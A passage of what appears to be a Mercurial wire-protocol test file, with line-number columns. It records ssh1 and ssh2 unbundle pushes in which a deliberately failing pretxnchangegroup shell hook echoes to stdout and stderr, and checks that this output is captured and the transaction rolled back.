1192 1175 e> adding manifests\n
1193 1176 e> adding file changes\n
1194 1177 e> added 1 changesets with 1 changes to 1 files\n
1195 1178 e> stdout 1\n
1196 1179 e> stderr 1\n
1197 1180 e> stdout 2\n
1198 1181 e> stderr 2\n
1199 1182 e> transaction abort!\n
1200 1183 e> rollback completed\n
1201 1184 e> abort: pretxnchangegroup.fail hook failed\n
1202 1185
1203 1186 testing ssh2
1204 1187 creating ssh peer from handshake results
1205 1188 i> write(171) -> 171:
1206 1189 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1207 1190 i> hello\n
1208 1191 i> between\n
1209 1192 i> pairs 81\n
1210 1193 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1211 1194 i> flush() -> None
1212 1195 o> readline() -> 62:
1213 1196 o> upgraded * exp-ssh-v2-0001\n (glob)
1214 1197 o> readline() -> 4:
1215 1198 o> 412\n
1216 1199 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1217 1200 o> read(1) -> 1:
1218 1201 o> \n
1219 1202 sending unbundle command
1220 1203 i> write(9) -> 9:
1221 1204 i> unbundle\n
1222 1205 i> write(9) -> 9:
1223 1206 i> heads 10\n
1224 1207 i> write(10) -> 10: 666f726365
1225 1208 i> flush() -> None
1226 1209 o> readline() -> 2:
1227 1210 o> 0\n
1228 1211 i> write(4) -> 4:
1229 1212 i> 426\n
1230 1213 i> write(426) -> 426:
1231 1214 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1232 1215 i> test\n
1233 1216 i> 0 0\n
1234 1217 i> foo\n
1235 1218 i> \n
1236 1219 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1237 1220 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1238 1221 i> \x00\x00\x00\x00\x00\x00\x00\x00
1239 1222 i> write(2) -> 2:
1240 1223 i> 0\n
1241 1224 i> flush() -> None
1242 1225 o> readline() -> 2:
1243 1226 o> 0\n
1244 1227 o> readline() -> 2:
1245 1228 o> 1\n
1246 1229 o> read(1) -> 1: 0
1247 1230 result: 0
1248 1231 remote output:
1249 o> read(-1) -> 0:
1250 1232 e> read(-1) -> 216:
1251 1233 e> adding changesets\n
1252 1234 e> adding manifests\n
1253 1235 e> adding file changes\n
1254 1236 e> added 1 changesets with 1 changes to 1 files\n
1255 1237 e> stdout 1\n
1256 1238 e> stderr 1\n
1257 1239 e> stdout 2\n
1258 1240 e> stderr 2\n
1259 1241 e> transaction abort!\n
1260 1242 e> rollback completed\n
1261 1243 e> abort: pretxnchangegroup.fail hook failed\n
1262 1244
1263 1245 Shell hook writing to stdout has output captured
1264 1246
1265 1247 $ cat > $TESTTMP/hook.sh << EOF
1266 1248 > echo 'stdout 1'
1267 1249 > echo 'stdout 2'
1268 1250 > exit 1
1269 1251 > EOF
1270 1252
1271 1253 $ cat > .hg/hgrc << EOF
1272 1254 > [hooks]
1273 1255 > pretxnchangegroup.fail = sh $TESTTMP/hook.sh
1274 1256 > EOF
1275 1257
1276 1258 $ debugwireproto << EOF
1277 1259 > command unbundle
1278 1260 > # This is "force" in hex.
1279 1261 > heads 666f726365
1280 1262 > PUSHFILE ../initial.v1.hg
1281 1263 > readavailable
1282 1264 > EOF
1283 1265 testing ssh1
1284 1266 creating ssh peer from handshake results
1285 1267 i> write(104) -> 104:
1286 1268 i> hello\n
1287 1269 i> between\n
1288 1270 i> pairs 81\n
1289 1271 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1290 1272 i> flush() -> None
1291 1273 o> readline() -> 4:
1292 1274 o> 413\n
1293 1275 o> readline() -> 413:
1294 1276 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1295 1277 o> readline() -> 2:
1296 1278 o> 1\n
1297 1279 o> readline() -> 1:
1298 1280 o> \n
1299 1281 sending unbundle command
1300 1282 i> write(9) -> 9:
1301 1283 i> unbundle\n
1302 1284 i> write(9) -> 9:
1303 1285 i> heads 10\n
1304 1286 i> write(10) -> 10: 666f726365
1305 1287 i> flush() -> None
1306 1288 o> readline() -> 2:
1307 1289 o> 0\n
1308 1290 i> write(4) -> 4:
1309 1291 i> 426\n
1310 1292 i> write(426) -> 426:
1311 1293 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1312 1294 i> test\n
1313 1295 i> 0 0\n
1314 1296 i> foo\n
1315 1297 i> \n
1316 1298 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1317 1299 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1318 1300 i> \x00\x00\x00\x00\x00\x00\x00\x00
1319 1301 i> write(2) -> 2:
1320 1302 i> 0\n
1321 1303 i> flush() -> None
1322 1304 o> readline() -> 2:
1323 1305 o> 0\n
1324 1306 o> readline() -> 2:
1325 1307 o> 1\n
1326 1308 o> read(1) -> 1: 0
1327 1309 result: 0
1328 1310 remote output:
1329 o> read(-1) -> 0:
1330 1311 e> read(-1) -> 212:
1331 1312 e> adding changesets\n
1332 1313 e> adding manifests\n
1333 1314 e> adding file changes\n
1334 1315 e> added 1 changesets with 1 changes to 1 files\n
1335 1316 e> stdout 1\n
1336 1317 e> stdout 2\n
1337 1318 e> transaction abort!\n
1338 1319 e> rollback completed\n
1339 1320 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1340 1321
1341 1322 testing ssh2
1342 1323 creating ssh peer from handshake results
1343 1324 i> write(171) -> 171:
1344 1325 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1345 1326 i> hello\n
1346 1327 i> between\n
1347 1328 i> pairs 81\n
1348 1329 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1349 1330 i> flush() -> None
1350 1331 o> readline() -> 62:
1351 1332 o> upgraded * exp-ssh-v2-0001\n (glob)
1352 1333 o> readline() -> 4:
1353 1334 o> 412\n
1354 1335 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1355 1336 o> read(1) -> 1:
1356 1337 o> \n
1357 1338 sending unbundle command
1358 1339 i> write(9) -> 9:
1359 1340 i> unbundle\n
1360 1341 i> write(9) -> 9:
1361 1342 i> heads 10\n
1362 1343 i> write(10) -> 10: 666f726365
1363 1344 i> flush() -> None
1364 1345 o> readline() -> 2:
1365 1346 o> 0\n
1366 1347 i> write(4) -> 4:
1367 1348 i> 426\n
1368 1349 i> write(426) -> 426:
1369 1350 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1370 1351 i> test\n
1371 1352 i> 0 0\n
1372 1353 i> foo\n
1373 1354 i> \n
1374 1355 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1375 1356 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1376 1357 i> \x00\x00\x00\x00\x00\x00\x00\x00
1377 1358 i> write(2) -> 2:
1378 1359 i> 0\n
1379 1360 i> flush() -> None
1380 1361 o> readline() -> 2:
1381 1362 o> 0\n
1382 1363 o> readline() -> 2:
1383 1364 o> 1\n
1384 1365 o> read(1) -> 1: 0
1385 1366 result: 0
1386 1367 remote output:
1387 o> read(-1) -> 0:
1388 1368 e> read(-1) -> 212:
1389 1369 e> adding changesets\n
1390 1370 e> adding manifests\n
1391 1371 e> adding file changes\n
1392 1372 e> added 1 changesets with 1 changes to 1 files\n
1393 1373 e> stdout 1\n
1394 1374 e> stdout 2\n
1395 1375 e> transaction abort!\n
1396 1376 e> rollback completed\n
1397 1377 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1398 1378
1399 1379 Shell hook writing to stderr has output captured
1400 1380
1401 1381 $ cat > $TESTTMP/hook.sh << EOF
1402 1382 > echo 'stderr 1' 1>&2
1403 1383 > echo 'stderr 2' 1>&2
1404 1384 > exit 1
1405 1385 > EOF
1406 1386
1407 1387 $ debugwireproto << EOF
1408 1388 > command unbundle
1409 1389 > # This is "force" in hex.
1410 1390 > heads 666f726365
1411 1391 > PUSHFILE ../initial.v1.hg
1412 1392 > readavailable
1413 1393 > EOF
1414 1394 testing ssh1
1415 1395 creating ssh peer from handshake results
1416 1396 i> write(104) -> 104:
1417 1397 i> hello\n
1418 1398 i> between\n
1419 1399 i> pairs 81\n
1420 1400 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1421 1401 i> flush() -> None
1422 1402 o> readline() -> 4:
1423 1403 o> 413\n
1424 1404 o> readline() -> 413:
1425 1405 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1426 1406 o> readline() -> 2:
1427 1407 o> 1\n
1428 1408 o> readline() -> 1:
1429 1409 o> \n
1430 1410 sending unbundle command
1431 1411 i> write(9) -> 9:
1432 1412 i> unbundle\n
1433 1413 i> write(9) -> 9:
1434 1414 i> heads 10\n
1435 1415 i> write(10) -> 10: 666f726365
1436 1416 i> flush() -> None
1437 1417 o> readline() -> 2:
1438 1418 o> 0\n
1439 1419 i> write(4) -> 4:
1440 1420 i> 426\n
1441 1421 i> write(426) -> 426:
1442 1422 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1443 1423 i> test\n
1444 1424 i> 0 0\n
1445 1425 i> foo\n
1446 1426 i> \n
1447 1427 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1448 1428 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1449 1429 i> \x00\x00\x00\x00\x00\x00\x00\x00
1450 1430 i> write(2) -> 2:
1451 1431 i> 0\n
1452 1432 i> flush() -> None
1453 1433 o> readline() -> 2:
1454 1434 o> 0\n
1455 1435 o> readline() -> 2:
1456 1436 o> 1\n
1457 1437 o> read(1) -> 1: 0
1458 1438 result: 0
1459 1439 remote output:
1460 o> read(-1) -> 0:
1461 1440 e> read(-1) -> 212:
1462 1441 e> adding changesets\n
1463 1442 e> adding manifests\n
1464 1443 e> adding file changes\n
1465 1444 e> added 1 changesets with 1 changes to 1 files\n
1466 1445 e> stderr 1\n
1467 1446 e> stderr 2\n
1468 1447 e> transaction abort!\n
1469 1448 e> rollback completed\n
1470 1449 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1471 1450
1472 1451 testing ssh2
1473 1452 creating ssh peer from handshake results
1474 1453 i> write(171) -> 171:
1475 1454 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1476 1455 i> hello\n
1477 1456 i> between\n
1478 1457 i> pairs 81\n
1479 1458 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1480 1459 i> flush() -> None
1481 1460 o> readline() -> 62:
1482 1461 o> upgraded * exp-ssh-v2-0001\n (glob)
1483 1462 o> readline() -> 4:
1484 1463 o> 412\n
1485 1464 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1486 1465 o> read(1) -> 1:
1487 1466 o> \n
1488 1467 sending unbundle command
1489 1468 i> write(9) -> 9:
1490 1469 i> unbundle\n
1491 1470 i> write(9) -> 9:
1492 1471 i> heads 10\n
1493 1472 i> write(10) -> 10: 666f726365
1494 1473 i> flush() -> None
1495 1474 o> readline() -> 2:
1496 1475 o> 0\n
1497 1476 i> write(4) -> 4:
1498 1477 i> 426\n
1499 1478 i> write(426) -> 426:
1500 1479 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1501 1480 i> test\n
1502 1481 i> 0 0\n
1503 1482 i> foo\n
1504 1483 i> \n
1505 1484 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1506 1485 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1507 1486 i> \x00\x00\x00\x00\x00\x00\x00\x00
1508 1487 i> write(2) -> 2:
1509 1488 i> 0\n
1510 1489 i> flush() -> None
1511 1490 o> readline() -> 2:
1512 1491 o> 0\n
1513 1492 o> readline() -> 2:
1514 1493 o> 1\n
1515 1494 o> read(1) -> 1: 0
1516 1495 result: 0
1517 1496 remote output:
1518 o> read(-1) -> 0:
1519 1497 e> read(-1) -> 212:
1520 1498 e> adding changesets\n
1521 1499 e> adding manifests\n
1522 1500 e> adding file changes\n
1523 1501 e> added 1 changesets with 1 changes to 1 files\n
1524 1502 e> stderr 1\n
1525 1503 e> stderr 2\n
1526 1504 e> transaction abort!\n
1527 1505 e> rollback completed\n
1528 1506 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1529 1507
1530 1508 Shell hook writing to stdout and stderr has output captured
1531 1509
1532 1510 $ cat > $TESTTMP/hook.sh << EOF
1533 1511 > echo 'stdout 1'
1534 1512 > echo 'stderr 1' 1>&2
1535 1513 > echo 'stdout 2'
1536 1514 > echo 'stderr 2' 1>&2
1537 1515 > exit 1
1538 1516 > EOF
1539 1517
1540 1518 $ debugwireproto << EOF
1541 1519 > command unbundle
1542 1520 > # This is "force" in hex.
1543 1521 > heads 666f726365
1544 1522 > PUSHFILE ../initial.v1.hg
1545 1523 > readavailable
1546 1524 > EOF
1547 1525 testing ssh1
1548 1526 creating ssh peer from handshake results
1549 1527 i> write(104) -> 104:
1550 1528 i> hello\n
1551 1529 i> between\n
1552 1530 i> pairs 81\n
1553 1531 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1554 1532 i> flush() -> None
1555 1533 o> readline() -> 4:
1556 1534 o> 413\n
1557 1535 o> readline() -> 413:
1558 1536 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1559 1537 o> readline() -> 2:
1560 1538 o> 1\n
1561 1539 o> readline() -> 1:
1562 1540 o> \n
1563 1541 sending unbundle command
1564 1542 i> write(9) -> 9:
1565 1543 i> unbundle\n
1566 1544 i> write(9) -> 9:
1567 1545 i> heads 10\n
1568 1546 i> write(10) -> 10: 666f726365
1569 1547 i> flush() -> None
1570 1548 o> readline() -> 2:
1571 1549 o> 0\n
1572 1550 i> write(4) -> 4:
1573 1551 i> 426\n
1574 1552 i> write(426) -> 426:
1575 1553 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1576 1554 i> test\n
1577 1555 i> 0 0\n
1578 1556 i> foo\n
1579 1557 i> \n
1580 1558 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1581 1559 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1582 1560 i> \x00\x00\x00\x00\x00\x00\x00\x00
1583 1561 i> write(2) -> 2:
1584 1562 i> 0\n
1585 1563 i> flush() -> None
1586 1564 o> readline() -> 2:
1587 1565 o> 0\n
1588 1566 o> readline() -> 2:
1589 1567 o> 1\n
1590 1568 o> read(1) -> 1: 0
1591 1569 result: 0
1592 1570 remote output:
1593 o> read(-1) -> 0:
1594 1571 e> read(-1) -> 230:
1595 1572 e> adding changesets\n
1596 1573 e> adding manifests\n
1597 1574 e> adding file changes\n
1598 1575 e> added 1 changesets with 1 changes to 1 files\n
1599 1576 e> stdout 1\n
1600 1577 e> stderr 1\n
1601 1578 e> stdout 2\n
1602 1579 e> stderr 2\n
1603 1580 e> transaction abort!\n
1604 1581 e> rollback completed\n
1605 1582 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1606 1583
1607 1584 testing ssh2
1608 1585 creating ssh peer from handshake results
1609 1586 i> write(171) -> 171:
1610 1587 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1611 1588 i> hello\n
1612 1589 i> between\n
1613 1590 i> pairs 81\n
1614 1591 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1615 1592 i> flush() -> None
1616 1593 o> readline() -> 62:
1617 1594 o> upgraded * exp-ssh-v2-0001\n (glob)
1618 1595 o> readline() -> 4:
1619 1596 o> 412\n
1620 1597 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1621 1598 o> read(1) -> 1:
1622 1599 o> \n
1623 1600 sending unbundle command
1624 1601 i> write(9) -> 9:
1625 1602 i> unbundle\n
1626 1603 i> write(9) -> 9:
1627 1604 i> heads 10\n
1628 1605 i> write(10) -> 10: 666f726365
1629 1606 i> flush() -> None
1630 1607 o> readline() -> 2:
1631 1608 o> 0\n
1632 1609 i> write(4) -> 4:
1633 1610 i> 426\n
1634 1611 i> write(426) -> 426:
1635 1612 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1636 1613 i> test\n
1637 1614 i> 0 0\n
1638 1615 i> foo\n
1639 1616 i> \n
1640 1617 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1641 1618 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1642 1619 i> \x00\x00\x00\x00\x00\x00\x00\x00
1643 1620 i> write(2) -> 2:
1644 1621 i> 0\n
1645 1622 i> flush() -> None
1646 1623 o> readline() -> 2:
1647 1624 o> 0\n
1648 1625 o> readline() -> 2:
1649 1626 o> 1\n
1650 1627 o> read(1) -> 1: 0
1651 1628 result: 0
1652 1629 remote output:
1653 o> read(-1) -> 0:
1654 1630 e> read(-1) -> 230:
1655 1631 e> adding changesets\n
1656 1632 e> adding manifests\n
1657 1633 e> adding file changes\n
1658 1634 e> added 1 changesets with 1 changes to 1 files\n
1659 1635 e> stdout 1\n
1660 1636 e> stderr 1\n
1661 1637 e> stdout 2\n
1662 1638 e> stderr 2\n
1663 1639 e> transaction abort!\n
1664 1640 e> rollback completed\n
1665 1641 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1666 1642
1667 1643 Shell and Python hooks writing to stdout and stderr have output captured
1668 1644
1669 1645 $ cat > $TESTTMP/hook.sh << EOF
1670 1646 > echo 'shell stdout 1'
1671 1647 > echo 'shell stderr 1' 1>&2
